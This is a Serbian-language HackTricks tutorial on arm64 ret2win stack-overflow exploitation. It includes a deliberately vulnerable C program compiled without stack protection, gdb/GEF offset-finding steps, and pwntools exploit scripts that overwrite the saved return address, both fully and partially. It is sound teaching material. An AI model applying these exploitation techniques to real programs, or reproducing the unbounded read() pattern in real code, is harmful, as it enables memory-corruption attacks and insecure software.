# Ret2win - arm64 {{#include ../../../banners/hacktricks-training.md}} Pronađite uvod u arm64 u: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} ## Code ```c #include #include void win() { printf("Congratulations!\n"); } void vulnerable_function() { char buffer[64]; read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { vulnerable_function(); return 0; } ``` Kompajlirati bez pie i kanarinca: ```bash clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie ``` ## Pronalaženje ofseta ### Opcija obrasca Ovaj primer je napravljen koristeći [**GEF**](https://github.com/bata24/gef): Pokrenite gdb sa gef, kreirajte obrazac i koristite ga: ```bash gdb -q ./ret2win pattern create 200 run ```
arm64 će pokušati da se vrati na adresu u registru x30 (koji je kompromitovan), možemo to iskoristiti da pronađemo pomeraj obrasca: ```bash pattern search $x30 ```
**Pomak je 72 (9x48).** ### Opcija pomaka steka Počnite tako što ćete dobiti adresu steka gde je sačuvan pc registar: ```bash gdb -q ./ret2win b *vulnerable_function + 0xc run info frame ```
Sada postavite breakpoint nakon `read()` i nastavite dok se `read()` ne izvrši i postavite obrazac kao što je 13371337: ``` b *vulnerable_function+28 c ```
Pronađite gde je ovaj obrazac smešten u memoriji:
Zatim: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
## Bez PIE ### Regularno Dobijte adresu **`win`** funkcije: ```bash objdump -d ret2win | grep win ret2win: file format elf64-littleaarch64 00000000004006c4 : ``` Eksploit: ```python from pwn import * # Configuration binary_name = './ret2win' p = process(binary_name) # Prepare the payload offset = 72 ret2win_addr = p64(0x00000000004006c4) payload = b'A' * offset + ret2win_addr # Send the payload p.send(payload) # Check response print(p.recvline()) p.close() ```
### Off-by-1 Zapravo, ovo će više ličiti na off-by-2 u sačuvanom PC-u na steku. Umesto da prepisujemo sve adrese povratka, prepisivaćemo **samo poslednja 2 bajta** sa `0x06c4`. ```python from pwn import * # Configuration binary_name = './ret2win' p = process(binary_name) # Prepare the payload offset = 72 ret2win_addr = p16(0x06c4) payload = b'A' * offset + ret2win_addr # Send the payload p.send(payload) # Check response print(p.recvline()) p.close() ```
Možete pronaći još jedan primer off-by-one u ARM64 na [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), što je pravi off-by-**one** u fiktivnoj ranjivosti. ## Sa PIE > [!TIP] > Kompajlirajte binarni fajl **bez `-no-pie` argumenta** ### Off-by-2 Bez leak-a ne znamo tačnu adresu pobedničke funkcije, ali možemo znati offset funkcije od binarnog fajla i znajući da adresa povratka koju prepisujemo već pokazuje na blisku adresu, moguće je leak-ovati offset do win funkcije (**0x7d4**) u ovom slučaju i jednostavno koristiti taj offset:
```python from pwn import * # Configuration binary_name = './ret2win' p = process(binary_name) # Prepare the payload offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr # Send the payload p.send(payload) # Check response print(p.recvline()) p.close() ``` {{#include ../../../banners/hacktricks-training.md}}